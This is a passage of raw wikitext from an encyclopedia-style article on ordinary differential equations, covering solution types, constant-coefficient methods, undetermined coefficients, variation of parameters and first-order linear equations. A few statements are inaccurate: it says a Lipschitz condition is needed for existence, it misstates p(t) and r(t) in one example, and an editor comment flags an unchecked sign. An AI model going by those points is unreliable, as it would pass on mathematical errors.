A '''solution''' of an ODE is a function ''y''(''x'') whose derivatives satisfy the equation.  Such a function is not guaranteed to exist and, if it does exist, is usually not unique.  A '''general solution''' of an ''n''th-order equation is a solution containing &lt;math&gt;n&lt;/math&gt; arbitrary variables, corresponding to ''n'' [[constant of integration|constants of integration]].  A '''particular solution''' is derived from the general solution by setting the constants to particular values.  A [[singular solution]] is a solution that can't be derived from the general solution.

When a differential equation of order ''n'' has the form
:&lt;math&gt;F\left(x, y', y'',\ \dots,\ y^{(n)}\right) = 0&lt;/math&gt;
it is called an '''implicit''' differential equation whereas the form
:&lt;math&gt;F\left(x, y', y'',\ \dots,\ y^{(n-1)}\right) = y^{(n)}&lt;/math&gt;
is called an '''explicit''' differential equation.

A differential equation not depending on ''x'' is called '''autonomous''', and one with no terms depending ''only'' on ''x'' is called '''homogeneous'''.

==General application==

An important special case is when the equations do not involve &lt;math&gt;x&lt;/math&gt;. These differential equations may be represented as [[vector field]]s. This type of differential equation has the property that space can be divided into [[equivalence class]]es based on whether two points lie on the same solution [[curve]]. Since the laws of physics are believed not to change with time,
the physical world is governed by such differential equations. (See also [[symplectic topology]] for abstract discussion.)

In the case where the equations are [[linear transformation|linear]], the original equation can be solved by breaking it down into
smaller equations, solving those, and then adding the results back together.  Unfortunately, many of the interesting differential equations are non-linear, which
means that they cannot be broken down in this way.  There are also a number of techniques for solving differential equations using a computer (see [[numerical ordinary differential equations]]).

Ordinary differential equations are to be distinguished from [[partial differential equation]]s where &lt;math&gt;y&lt;/math&gt; is a function of several variables, and the differential equation involves [[partial derivative]]s.

==Existence and nature of solutions==

The problem of solving a differential equation is to find the function &lt;math&gt;y&lt;/math&gt; whose derivatives satisfy the equation.  For example, the differential equation

:&lt;math&gt;y'' + y = 0 \,&lt;/math&gt;

has the general solution

:&lt;math&gt;y = A \cos{x} + B \sin{x} \,&lt;/math&gt;,

where ''A'', ''B'' are constants determined from [[boundary condition]]s.

In general, an ''n''-th order equation allows both &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt; to be fixed, as well as all the &lt;math&gt;n-1&lt;/math&gt; lower order derivatives of &lt;math&gt;y&lt;/math&gt;; the remaining equation can be solved (at least conceptionally) for &lt;math&gt;y^{(n)}&lt;/math&gt;.  If the equation has finite degree &lt;math&gt;d&lt;/math&gt;, then we now have a polynomial equation in &lt;math&gt;y^{(n)}&lt;/math&gt; with at most &lt;math&gt;d&lt;/math&gt; roots.  Therefore there can be as many as &lt;math&gt;d&lt;/math&gt; possible values for &lt;math&gt;y^{(n)}&lt;/math&gt; at any given point and for any possible values of the lower order derivatives, though there may be ranges of these points and values where there are fewer solutions (or none at all).  A [[Lipschitz continuity|Lipschitz condition]] must also be satisfied for a solution to exist.

Thus, in the previous example, a second-order, first-degree equation, any point on the plane and any slope through that point can be selected and yield a unique solution (since the single root of &lt;math&gt;y''&lt;/math&gt; exists for any value of &lt;math&gt;y&lt;/math&gt;).  Note in particular that there are an infinity of solutions through any given point; this is a general characteristic of equations of order higher than one.

[[Image:Diffeq.png|right|thumb|300px|Some solutions to (y')^2+xy'-y=0. Particular solutions are in blue; the singular solution is in green; the hybrid solution described in the text is in red]]

Consider now

:&lt;math&gt;(y')^2 + xy' - y = 0 \,&lt;/math&gt;

with general solution

:&lt;math&gt;y = Ax + A^2 \,&lt;/math&gt;

This is a first-order, second-degree equation, thus any point can have at most two solutions passing through it, corresponding to the two roots of &lt;math&gt;y'&lt;/math&gt; in the [[quadratic equation]] that would result after fixing &lt;math&gt;x&lt;/math&gt; and &lt;math&gt;y&lt;/math&gt;.  Studying the quadratic equation's [[discriminant]] (&lt;math&gt;x^2 + 4y&lt;/math&gt;) leads to the conclusion that only a single solution exists along the parabola &lt;math&gt;y = - \frac{1}{4} x^2&lt;/math&gt; (where the discriminant is zero) and that no solution exists below this parabola (where both roots are complex).

The parabola in this problem is an example of a '''cusp locus'''; a curve along which two or more roots of the differential equation are identical.  Along such a locus it is possible to move from one general solution to another while still obeying the differential equation; thus the presence of cusp loci introduce the possibility of '''singular''' solutions.  In this example, the parabola &lt;math&gt;y = - \frac{1}{4} x^2&lt;/math&gt; is such a singular solution; it satisfies the original differential equation, and a full set of solutions must include such possibilities as the hybrid solution:

&lt;math&gt;y = \begin{cases} x + 1, &amp; \mbox{if } x &lt; -2 \\ - \frac{1}{4} x^2, &amp; \mbox{if } -2 \le x &lt; 2 \\ -x + 1, &amp; \mbox{if } 2 \le x \end{cases} &lt;/math&gt;

where the cusp locus has been used to connect two particular solutions; note that the first derivative (the only derivative to appear in the differential equation) is continuous at the transitions.

([http://www.hti.umich.edu/cgi/b/bib/bibperm?q1=abv5010.0001.001 ''Johnson''], Chapter 5)

==Types of differential equations with some history==

The influence of geometry, physics, and astronomy,
starting with [[Isaac Newton|Newton]] and [[Gottfried Leibniz|Leibniz]], and further manifested through the [[Bernoulli|Bernoullis]], [[Riccati]], and [[Clairaut]], but chiefly through [[d'Alembert]] and [[Euler]], has been very marked, and especially on the theory of [[linear partial differential equations with constant coefficients]].

===Homogeneous linear ODEs with constant coefficients===
The first method of integrating linear ordinary differential
equations with constant coefficients is due to [[Euler]], who realized that solutions have the form &lt;math&gt;e^{z x}&lt;/math&gt;, for possibly-complex values of &lt;math&gt;z&lt;/math&gt;. Thus
:&lt;math&gt;\frac {d^{n}y} {dx^{n}} + A_{1}\frac {d^{n-1}y} {dx^{n-1}} + \cdots + A_{n}y = 0&lt;/math&gt;
has the form
:&lt;math&gt;z^n e^{zx} + A_1 z^{n-1} e^{zx} + \cdots + A_n e^{zx} = 0&lt;/math&gt;
so dividing by &lt;math&gt;e^{zx}&lt;/math&gt; gives the ''n''th-order polynomial
:&lt;math&gt;F(z) = z^{n} + A_{1}z^{n-1} + \cdots + A_n = 0&lt;/math&gt;
In short the terms
:&lt;math&gt;\frac {d^{k}y} {dx^{k}}\quad\quad(k = 1, 2, \cdots, n).&lt;/math&gt;
of the original differential equation are replaced by ''z''&lt;sup&gt;''k''&lt;/sup&gt;. [[Root-finding_algorithm#Finding_roots_of_polynomials|Solving]] the polynomial gives ''n'' values of ''z'', &lt;math&gt;z_1, \dots,z_n&lt;/math&gt;. Plugging those values into &lt;math&gt;e^{z_i x}&lt;/math&gt; gives a [[basis]] for the solution; any [[linear combination]] of these basis functions will satisfy the differential equation.

This equation ''F''(''z'') = 0, is the &quot;characteristic&quot;
equation considered later by [[Monge]] and [[Cauchy]]. 

{{ExampleSidebar|35%|&lt;math&gt;y''''-2y'''+2y''-2y'+y=0 \,&lt;/math&gt; 
has the characteristic equation
 
&lt;math&gt;z^4-2z^3+2z^2-2z+1=0 \,&lt;/math&gt;. 

This has zeroes, ''i'', &amp;minus;''i'', and 1 (multiplicity 2). The solution basis is then 

&lt;math&gt;e^{ix}\,&lt;/math&gt;, &lt;math&gt;e^{-ix}\,&lt;/math&gt;, &lt;math&gt;e^x\,&lt;/math&gt;, &lt;math&gt;xe^x\,&lt;/math&gt;.

This corresponds to the real-valued solution basis 

&lt;math&gt;\cos x&lt;/math&gt;, &lt;math&gt;\sin x&lt;/math&gt;, &lt;math&gt;e^x&lt;/math&gt;, &lt;math&gt;xe^x \,&lt;/math&gt;.}}

If ''z'' is a (possibly not real) [[Root (mathematics)|zero]] of ''F''(''z'') of multiplicity ''m'' and &lt;math&gt;k\in\{0,1,\dots,m-1\} \,&lt;/math&gt; then &lt;math&gt;y=x^ke^{zx} \,&lt;/math&gt; is a solution of the ODE. These functions make up a [[Basis (linear algebra)|basis]] of the ODE's solutions.

If the ''A&lt;sub&gt;i&lt;/sub&gt;'' are real then real-valued solutions are preferable. Since the non-real ''z'' values will come in [[complex conjugate|conjugate]] pairs, so will their corresponding ''y''s; replace each pair with their [[linear combination]]s [[real part|Re(''y'')]] and [[Imaginary part|Im(''y'')]].

A case that involves complex roots can be solved with the aid of [[Euler's formula]]. 

* Example: Given &lt;math&gt;y''-4y'+5y=0 \,&lt;/math&gt;. The characteristic equation is &lt;math&gt;z^2-4z+5=0 \,&lt;/math&gt; which has zeroes 2+''i'' and 2&amp;minus;''i''. Thus the solution basis &lt;math&gt;\{y_1,y_2\}&lt;/math&gt; is &lt;math&gt;\{e^{(2+i)x},e^{(2-i)x}\} \,&lt;/math&gt;. Now ''y'' is a solution [[iff]] &lt;math&gt;y=c_1y_1+c_2y_2 \,&lt;/math&gt; for &lt;math&gt;c_1,c_2\in\mathbb C&lt;/math&gt;.

Because the coefficients are real,
*we are likely not interested in the complex solutions
*our basis elements are mutual conjugates
The linear combinations
:&lt;math&gt;u_1=\mbox{Re}(y_1)=\frac{y_1+y_2}{2}=e^{2x}\cos(x) \,&lt;/math&gt; and
:&lt;math&gt;u_2=\mbox{Im}(y_1)=\frac{y_1-y_2}{2i}=e^{2x}\sin(x) \,&lt;/math&gt;
will give us a real basis in &lt;math&gt;\{u_1,u_2\}&lt;/math&gt;.

===Linear ODEs with constant coefficients===

Suppose instead we face
:&lt;math&gt;\frac {d^{n}y} {dx^{n}} + A_{1}\frac {d^{n-1}y} {dx^{n-1}} + \cdots + A_{n}y = f(x)&lt;/math&gt;
For later convenience, define the characteristic polynomial
:&lt;math&gt;P(v)=v^n+A_1v^{n-1}+\cdots+A_n&lt;/math&gt;
We find the solution basis &lt;math&gt;\{y_1,y_2,\ldots,y_n\}&lt;/math&gt; as in the homogeneous (''f''=0) case. We now seek a '''particular solution''' ''y&lt;sub&gt;p&lt;/sub&gt;'' by the '''variation of parameters''' method. Let the coefficients of the linear combination be functions of ''x'':
:&lt;math&gt;y_p=u_1y_1+u_2y_2+\cdots+u_ny_n&lt;/math&gt;
Using the &quot;operator&quot; notation &lt;math&gt;D=d/dx&lt;/math&gt; and a broad-minded use of notation, the ODE in question is &lt;math&gt;P(D)y=f&lt;/math&gt;; so
:&lt;math&gt;f=P(D)y_p=P(D)(u_1y_1)+P(D)(u_2y_2)+\cdots+P(D)(u_ny_n)&lt;/math&gt;
With the constraints
:&lt;math&gt;0=u'_1y_1+u'_2y_2+\cdots+u'_ny_n&lt;/math&gt;
:&lt;math&gt;0=u'_1y'_1+u'_2y'_2+\cdots+u'_ny'_n&lt;/math&gt;
:&amp;hellip;
:&lt;math&gt;0=u'_1y^{(n-2)}_1+u'_2y^{(n-2)}_2+\cdots+u'_ny^{(n-2)}_n&lt;/math&gt;
the parameters commute out, with a little &quot;dirt&quot;:
:&lt;math&gt;f=u_1P(D)y_1+u_2P(D)y_2+\cdots+u_nP(D)y_n+u'_1y^{(n-1)}_1+u'_2y^{(n-1)}_2+\cdots+u'_ny^{(n-1)}_n&lt;/math&gt;
But &lt;math&gt;P(D)y_j=0&lt;/math&gt;, therefore
:&lt;math&gt;f=u'_1y^{(n-1)}_1+u'_2y^{(n-1)}_2+\cdots+u'_ny^{(n-1)}_n&lt;/math&gt;
This, with the constraints, gives a linear system in the &lt;math&gt;u'_j&lt;/math&gt;. This much can always be solved; in fact, combining [[Cramer's rule]] with the [[Wronskian]],
:&lt;math&gt;u'_j=(-1)^{n+j}f\frac{W(y_1,\ldots,y_{j-1},y_{j+1}\ldots,y_n)}{W(y_1,y_2,\ldots,y_n)}&lt;/math&gt; &lt;!-- caution: check my sign --&gt;
The rest is a matter of integrating &lt;math&gt;u'_j&lt;/math&gt;.

The particular solution is not unique; &lt;math&gt;y_p+c_1y_1+\cdots+c_ny_n&lt;/math&gt; also satisfies the ODE for any set of constants ''c&lt;sub&gt;j&lt;/sub&gt;''.

See also [[variation of parameters]].

'''Example:''' Suppose &lt;math&gt;y''-4y'+5y=sin(kx)&lt;/math&gt;. We take the solution basis found above &lt;math&gt;\{e^{(2+i)x},e^{(2-i)x}\}&lt;/math&gt;.
:{|
|-
|&lt;math&gt;W\,&lt;/math&gt;
|&lt;math&gt;= \begin{vmatrix}e^{(2+i)x}&amp;e^{(2-i)x} \\ (2+i)e^{(2+i)x}&amp;(2-i)e^{(2-i)x} \end{vmatrix}&lt;/math&gt;
|-
|
|&lt;math&gt;=e^{4x}\begin{vmatrix}1&amp;1\\ 2+i&amp;2-i\end{vmatrix}&lt;/math&gt;
|-
|
|&lt;math&gt;=-2ie^{4x}\,&lt;/math&gt;
|}


:{|
|-
|&lt;math&gt;u'_1\,&lt;/math&gt;
|&lt;math&gt;=\frac{1}{W}\begin{vmatrix}0&amp;e^{(2-i)x}\\ \sin(kx)&amp;(2-i)e^{(2-i)x}\end{vmatrix}&lt;/math&gt;
|-
|
|&lt;math&gt;=-\frac{i}2\sin(kx)e^{(-2-i)x}&lt;/math&gt;
|}

:{|
|-
|&lt;math&gt;u'_2\,&lt;/math&gt;
|&lt;math&gt;=\frac{1}{W}\begin{vmatrix}e^{(2+i)x}&amp;0\\ (2+i)e^{(2+i)x}&amp;\sin(kx)\end{vmatrix}&lt;/math&gt;
|-
|
|&lt;math&gt; =\frac{i}{2}\sin(kx)e^{(-2+i)x}&lt;/math&gt;
|}

Using the [[list of integrals of exponential functions]]

:{|
|-
|&lt;math&gt;u_1\,&lt;/math&gt;
|&lt;math&gt;=-\frac{i}{2}\int\sin(kx)e^{(-2-i)x}\,dx&lt;/math&gt;
|-
|
|&lt;math&gt;=\frac{ie^{(-2-i)x}}{2(3+4i+k^2)}\left((2+i)\sin(kx)+k\cos(kx)\right)&lt;/math&gt;
|}


:{|
|-
|&lt;math&gt;u_2\,&lt;/math&gt;
|&lt;math&gt;=\frac i2\int\sin(kx)e^{(-2+i)x}\,dx&lt;/math&gt;
|-
|
|&lt;math&gt;=\frac{ie^{(i-2)x}}{2(3-4i+k^2)}\left((i-2)\sin(kx)-k\cos(kx)\right)&lt;/math&gt;
|}

And so
:{|
|-
|&lt;math&gt;y_p\,&lt;/math&gt;
|&lt;math&gt;=\frac{i}{2(3+4i+k^2)}\left((2+i)\sin(kx)+k\cos(kx)\right)
+\frac{i}{2(3-4i+k^2)}\left((i-2)\sin(kx)-k\cos(kx)\right)&lt;/math&gt;
|-
|
|&lt;math&gt;=\frac{(5-k^2)\sin(kx)+4k\cos(kx)}{(3+k^2)^2+16}&lt;/math&gt;
|}
(Notice that ''u''&lt;sub&gt;1&lt;/sub&gt; and  ''u''&lt;sub&gt;2&lt;/sub&gt; had factors that canceled ''y''&lt;sub&gt;1&lt;/sub&gt; and  ''y''&lt;sub&gt;2&lt;/sub&gt;; that is typical.)

For interest's sake, this ODE has a physical interpretation as a driven damped [[harmonic oscillator]]; ''y&lt;sub&gt;p&lt;/sub&gt;'' represents the steady state, and &lt;math&gt;c_1y_1+c_2y_2&lt;/math&gt; is the transient.

===Linear ODEs with variable coefficient===

====Method of undetermined coefficients====
{{main|Method of undetermined coefficients}}

The method of undetermined coefficients (MoUC), is useful in finding solution for &lt;math&gt;y_p &lt;/math&gt;. Given the ODE &lt;math&gt;P(D)y = f(x)&lt;/math&gt;, find another [[differential operator]] &lt;math&gt;A(D)&lt;/math&gt; such that &lt;math&gt;A(D)f(x) = 0&lt;/math&gt;. This operator is called the '''annihilator''', and thus the method of undetermined coefficients is also known as the '''annihilator method'''. Applying &lt;math&gt;A(D)&lt;/math&gt; to both sides of the ODE gives an homogeneous ODE &lt;math&gt;\big(A(D)P(D)\big)y = 0&lt;/math&gt; for which we find a solution basis &lt;math&gt;\{y_1,\ldots,y_n\}&lt;/math&gt; as before. Then the original nonhomogeneous ODE is used to construct a system of equations restricting the coefficients of the linear combinations to satisfy the ODE.

Undetermined coefficients is not as general as variation of parameters in the sense that an annihilator does not always exist. 

'''Example''': Given &lt;math&gt;y''-4y'+5y=\sin(kx)&lt;/math&gt;, &lt;math&gt;P(D)=D^2-4D+5&lt;/math&gt;.
The simplest annihilator of &lt;math&gt;\sin(kx)&lt;/math&gt; is &lt;math&gt;A(D)=D^2+k^2&lt;/math&gt;. The zeros of &lt;math&gt;A(z)P(z)&lt;/math&gt; are &lt;math&gt;\{2+i,2-i,ik,-ik\}&lt;/math&gt;, so the solution basis of &lt;math&gt;A(D)P(D)&lt;/math&gt; is &lt;math&gt;\{y_1,y_2,y_3,y_4\}=\{e^{(2+i)x},e^{(2-i)x},e^{ikx},e^{-ikx}\}&lt;/math&gt;.

Setting &lt;math&gt;y=c_1y_1+c_2y_2+c_3y_3+c_4y_4&lt;/math&gt; we find
:{|
|-
|&lt;math&gt;\sin(kx)&lt;/math&gt;
|&lt;math&gt;=P(D)y&lt;/math&gt;
|-
|
|&lt;math&gt;=P(D)(c_1y_1+c_2y+c_3y_3+c_4y_4)&lt;/math&gt;
|-
|
|&lt;math&gt;=c_1P(D)y_1+c_2P(D)y_2+c_3P(D)y_3+c_4P(D)y_4&lt;/math&gt;
|-
|
|&lt;math&gt;=0+0+c_3(-k^2-4ik+5)y_3+c_4(-k^2+4ik+5)y_4&lt;/math&gt;
|-
|
|&lt;math&gt;=c_3(-k^2-4ik+5)(\cos(kx)+i\sin(kx))
+c_4(-k^2+4ik+5)(\cos(kx)-i\sin(kx))&lt;/math&gt;
|}
giving the system
:&lt;math&gt;i=(k^2+4ik-5)c_3+(-k^2+4ik+5)c_4&lt;/math&gt;
:&lt;math&gt;0=(k^2+4ik-5)c_3+(k^2-4ik-5)c_4&lt;/math&gt;
which has solutions
:&lt;math&gt;c_3=\frac i{2(k^2+4ik-5)}&lt;/math&gt;, &lt;math&gt;c_4=\frac i{2(-k^2+4ik+5)}&lt;/math&gt;
giving the solution set
:{|
|-
|&lt;math&gt;y\,&lt;/math&gt;
|&lt;math&gt;=c_1y_1+c_2y_2+\frac i{2(k^2+4ik-5)}y_3+\frac i{2(-k^2+4ik+5)}y_4&lt;/math&gt;
|-
|
|&lt;math&gt;=c_1y_1+c_2y_2+\frac{4k\cos(kx)-(k^2-5)\sin(kx)}
{(k^2+4ik-5)(k^2-4ik-5)}&lt;/math&gt;
|-
|
|&lt;math&gt;=c_1y_1+c_2y_2
+\frac{4k\cos(kx)+(5-k^2)\sin(kx)}{k^4+6k^2+25}&lt;/math&gt;
|}

====Method of variation of parameters====
:{{main|Method of variation of parameters}}.

As explained above, the general solution to a non-homogeneous, linear differential equation &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = g(x)&lt;/math&gt; can be expressed as the sum of the general solution &lt;math&gt;y_h(x)&lt;/math&gt; to the corresponding homogenous, linear differential equation &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = 0&lt;/math&gt; and any one solution &lt;math&gt;y_p(x)&lt;/math&gt; to &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = g(x)&lt;/math&gt;.

Like the method of undetermined coefficients, described above, the method of variation of parameters is a method for finding one solution to &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = g(x)&lt;/math&gt;, having already found the general solution to &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = 0&lt;/math&gt;. Unlike the method of undetermined coefficients, which fails except with certain specific forms of ''g''(''x''), the method of variation of parameters will always work; however, it is significantly more difficult to use.

For a second-order equation, the method of variation of parameters makes use of the following fact:

===== Fact =====

Let ''p''(''x''), ''q''(''x''), and ''g''(''x'') be functions, and let &lt;math&gt;y_1(x)&lt;/math&gt; and &lt;math&gt;y_2(x)&lt;/math&gt; be solutions to the homogeneous, linear differential equation &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = 0&lt;/math&gt;. Further, let ''u''(''x'') and ''v''(''x'') be functions such that &lt;math&gt;u'(x) y_1(x) + v'(x) y_2(x) = 0&lt;/math&gt; and &lt;math&gt;u'(x) y_1'(x) + v'(x) y_2'(x) = g(x)&lt;/math&gt; for all ''x'', and define &lt;math&gt;y_p(x) = u(x) y_1(x) + v(x) y_2(x)&lt;/math&gt;. Then &lt;math&gt;y_p(x)&lt;/math&gt; is a solution to the non-homogeneous, linear differential equation &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = g(x)&lt;/math&gt;.

===== Proof =====

&lt;math&gt;y_p(x) = u(x) y_1(x) + v(x) y_2(x)&lt;/math&gt;

{|
|-
|&lt;math&gt;y_p'(x) &lt;/math&gt;
|&lt;math&gt;= u'(x) y_1(x) + u(x) y_1'(x) + v'(x) y_2(x) + v(x) y_2'(x)&lt;/math&gt;
|-
|
|&lt;math&gt;= 0 + u(x) y_1'(x) + v(x) y_2'(x)&lt;/math&gt;
|}

{|
|-
|&lt;math&gt;y_p''(x) &lt;/math&gt;
|&lt;math&gt;= u'(x) y_1'(x) + u(x) y_1''(x) + v'(x) y_2'(x) + v(x) y_2''(x) &lt;/math&gt;
|-
|
|&lt;math&gt;= g(x) + u(x) y_1''(x) + v(x) y_2''(x)&lt;/math&gt;
|}
&lt;math&gt;y_p''(x) + p(x) y'_p(x) + q(x) y_p(x) = g(x) + u(x) y_1''(x) + v(x) y_2''(x) + p(x) u(x) y_1'(x) + p(x) v(x) y_2'(x) + q(x) u(x) y_1(x) + q(x) v(x) y_2(x) &lt;/math&gt; 

&lt;math&gt; = g(x) + u(x) (y_1''(x) + p(x) y_1'(x) + q(x) y_1(x)) + v(x) (y_2''(x) + p(x) y_2'(x) + q(x) y_2(x)) = g(x) + 0 + 0 = g(x)&lt;/math&gt;

===== Usage =====

To solve the second-order, non-homogeneous, linear differential equation &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = g(x)&lt;/math&gt; using the method of variation of parameters, use the following steps:

#Find the general solution to the corresponding homogeneous equation &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = 0&lt;/math&gt;. Specifically, find two linearly independent solutions &lt;math&gt;y_1(x)&lt;/math&gt; and &lt;math&gt;y_2(x)&lt;/math&gt;.
#Since &lt;math&gt;y_1(x)&lt;/math&gt; and &lt;math&gt;y_2(x)&lt;/math&gt; are linearly independent solutions, their [[Wronskian]] &lt;math&gt;y_1(x) y_2'(x) - y_1'(x) y_2(x)&lt;/math&gt; is nonzero, so we can compute &lt;math&gt;-(g(x) y_2(x))/({y_1(x) y_2'(x) - y_1'(x) y_2(x)})&lt;/math&gt; and &lt;math&gt;({g(x) y_1(x)})/({y_1(x) y_2'(x) - y_1'(x) y_2(x)})&lt;/math&gt;. If the former is equal to ''u''&lt;nowiki&gt;'&lt;/nowiki&gt;(''x'') and the latter to ''v''&lt;nowiki&gt;'&lt;/nowiki&gt;(''x''), then ''u'' and ''v'' satisfy the two constraints given above: that &lt;math&gt;u'(x) y_1(x) + v'(x) y_2(x) = 0&lt;/math&gt; and that &lt;math&gt;u'(x) y_1'(x) + v'(x) y_2'(x) = g(x)&lt;/math&gt;.  We can tell this after multiplying by the denominator and comparing coefficients.
#Integrate &lt;math&gt;-(g(x) y_2(x))/({y_1(x) y_2'(x) - y_1'(x) y_2(x)})&lt;/math&gt; and &lt;math&gt;({g(x) y_1(x)})/({y_1(x) y_2'(x) - y_1'(x) y_2(x)})&lt;/math&gt; to obtain ''u''(''x'') and ''v''(''x''), respectively. (Note that we only need one choice of ''u'' and ''v'', so there is no need for constants of integration.)
#Compute &lt;math&gt;y_p(x) = u(x) y_1(x) + v(x) y_2(x)&lt;/math&gt;. The function &lt;math&gt;y_p&lt;/math&gt; is one solution of &lt;math&gt;y''(x) + p(x) y'(x) + q(x) y(x) = g(x)&lt;/math&gt;.
#The general solution is &lt;math&gt;c_1 y_1(x) + c_2 y_2(x) + y_p(x)&lt;/math&gt;, where &lt;math&gt;c_1&lt;/math&gt; and &lt;math&gt;c_2&lt;/math&gt; are arbitrary constants.

===== Higher-order equations =====

The method of variation of parameters can also be used with higher-order equations. For example, if &lt;math&gt;y_1(x)&lt;/math&gt;, &lt;math&gt;y_2(x)&lt;/math&gt;, and &lt;math&gt;y_3(x)&lt;/math&gt; are linearly independent solutions  to &lt;math&gt;y'''(x) + p(x) y''(x) + q(x) y'(x) + r(x) y(x) = 0&lt;/math&gt;, then there exist functions ''u''(''x''), ''v''(''x''), and ''w''(''x'') such that &lt;math&gt;u'(x) y_1(x) + v'(x) y_2(x) + w'(x) y_3(x) = 0&lt;/math&gt;, &lt;math&gt;u'(x) y_1'(x) + v'(x) y_2'(x) + w'(x) y_3'(x) = 0&lt;/math&gt;, and &lt;math&gt;u'(x) y_1''(x) + v'(x) y_2''(x) + w'(x) y_3''(x) = g(x)&lt;/math&gt;. Having found such functions (by solving algebraically for ''u''&lt;nowiki&gt;'&lt;/nowiki&gt;(''x''), ''v''&lt;nowiki&gt;'&lt;/nowiki&gt;(''x''), and ''w''&lt;nowiki&gt;'&lt;/nowiki&gt;(''x''), then integrating each), we have &lt;math&gt;y_p(x) = u(x) y_1(x) + v(x) y_2(x) + w(x) y_3(x)&lt;/math&gt;, one solution to the equation &lt;math&gt;y'''(x) + p(x) y''(x) + q(x) y'(x) + r(x) y(x) = g(x)&lt;/math&gt;.

===== Example =====

Solve the previous example, &lt;math&gt;y'' + y = \sec x&lt;/math&gt;
Recall &lt;math&gt;\sec x = \frac{1}{{\cos x}} = f&lt;/math&gt;. From technique learned from 3.1, LHS has root of &lt;math&gt;r =  \pm i&lt;/math&gt; that yield &lt;math&gt;y_c  = C_1 \cos x + C_2 \sin x&lt;/math&gt;, (so &lt;math&gt;y_1  = \cos x&lt;/math&gt;, &lt;math&gt;y_2  = \sin x&lt;/math&gt; ) and its derivatives 
:&lt;math&gt;\left\{ {\begin{matrix}
   {\dot u = \frac{{ - y_2 f}}{W} = \frac{{ - \sin x}}{{\cos x}} = \tan x}  \\
   {\dot v = \frac{{y_1 f}}{W} = \frac{{\cos x}}{{\cos x}} = 1}  \\
\end{matrix}} \right.&lt;/math&gt; 
where the Wronskian 
:&lt;math&gt;W\left( {y_1,y_2 :x} \right) = \left| {\begin{matrix}
   {\cos x} &amp; {\sin x}  \\
   { - \sin x} &amp; {\cos x}  \\
\end{matrix}} \right| = 1&lt;/math&gt; 
were computed in order to seek solution to its derivatives. 

Upon integration, 
:&lt;math&gt;\left\{ \begin{matrix}
 u =  - \int {\tan xdx =  - \ln \left| {\sec x} \right| + C}  \\ 
 v = \int {1dx = x + C}  \\ 
 \end{matrix} \right.&lt;/math&gt;
Computing &lt;math&gt;y_p&lt;/math&gt; and &lt;math&gt;y_G&lt;/math&gt;: 
:&lt;math&gt;\begin{matrix}
 y_p  = f = uy_1  + vy_2  = \cos x\ln \left| {\cos x} \right| + x\sin x \\ 
 y_G  = y_c  + y_p  = C_1 \cos x + C_2 \sin x + x\sin x + \cos x\ln \left( {\cos x} \right) \\ 
 \end{matrix}&lt;/math&gt;

===General solution method for first-order linear ODEs===
{{ExampleSidebar|35%|&lt;math&gt;y'+3y=2 \,&lt;/math&gt; 
with the initial condition

&lt;math&gt;f\left(0\right)=2 \,&lt;/math&gt;.

Using the general solution method:

&lt;math&gt;f=e^{-3x}\left(\int 2 e^{3x} dx + \kappa\right) \,&lt;/math&gt;.

The integration is done from 0 to x, giving:

&lt;math&gt;f=e^{-3x}\left(2/3\left( e^{3x}-e^0 \right) + \kappa\right) \,&lt;/math&gt;.

Then we can reduce to:

&lt;math&gt;f=2/3\left(1-e^{-3x}\right) + e^{-3x}\kappa \,&lt;/math&gt;.

Assume that kappa is 2 from the initial condition.}}



For a first-order linear ODE, with coefficients that may or may not vary with ''t'':

&lt;math&gt;x'(t) + p(t) x(t) = r(t)&lt;/math&gt;

Then,

:&lt;math&gt;x=e^{-a(t)}\left(\int r(t) e^{a(t)} dt + \kappa\right)&lt;/math&gt;

where &lt;math&gt;\kappa&lt;/math&gt; is the constant of integration, and

&lt;math&gt;a(t)=\int{p(s)ds}.&lt;/math&gt;

====Proof====
This proof comes from [[Jean Bernoulli]]. Let

:&lt;math&gt;x^\prime + px = r&lt;/math&gt;

Suppose for some unknown functions ''u''(''t'') and ''v''(''t'') that ''x'' = ''uv''.

Then
:&lt;math&gt;x^\prime = u^\prime v + u v^\prime&lt;/math&gt;

Substituting into the differential equation,
:&lt;math&gt;u^\prime v + u v^\prime + puv = r&lt;/math&gt;

Now, the most important step: Since the differential equation is ''linear'' we can split this into two independent equations and write

:&lt;math&gt;u^\prime v + puv = 0&lt;/math&gt;
:&lt;math&gt;u v^\prime = r&lt;/math&gt;

Since v is not zero, the top equation becomes
:&lt;math&gt;u^\prime + pu = 0&lt;/math&gt;

The solution of this is 
:&lt;math&gt;u = e^{ - \int p dt } &lt;/math&gt;

Substituting into the second equation
:&lt;math&gt;v = \int r  e^{ \int p dt }  + C &lt;/math&gt;

Since ''x'' = ''uv'', for arbitrary constant ''C''

:&lt;math&gt;x =e^{ - \int p dt } \left( \int r e^{ \int p dt } + C \right)&lt;/math&gt;

==== First order differential equation with constant coefficients ====
As an illustrative example, consider a first order differential equation with [[constant coefficients]]:
:&lt;math&gt;a\frac{dx}{dt} + bx = Af(t).&lt;/math&gt;

This equation is particularly relevant to first order systems such as RC circuits, mass-damper systems.

After [[nondimensionalization]], the equation becomes
:&lt;math&gt;\frac{d \chi}{d \tau} + \chi = F(\tau).&lt;/math&gt; 

In this case, ''p''(''t'') = ''r''(''t'') = 1.

Hence its solution by inspection is
:&lt;math&gt;\chi (\tau) = e^{-\tau} \left( \int F(\tau)e^{\tau} \, d\tau + C \right).&lt;/math&gt;

&lt;!-- Commented until someone adds content
===System of ODEs===
====System of linear ODEs (L-ODE)====

====System of non-homogeneous linear ODEs (NHL-ODE)====

--&gt;

===Linear PDEs===
The theory of linear [[partial differential equation]]s may be said to
begin with [[Joseph Louis Lagrange|Lagrange]] (1779 to 1785). Monge (1809) treated ordinary
and partial differential equations of the first and second order,
uniting the theory to geometry, and introducing the notion of the
&quot;characteristic&quot;, the curve represented by &lt;math&gt;F(z) = 0&lt;/math&gt;, which was
investigated by [[Gaston Darboux|Darboux]], [[Paul Pierre Lévy|Levy]], and [[Sophus Lie|Lie]].

===First-order PDEs===
[[Pfaff]] (1814, 1815) gave the first general method of integrating partial
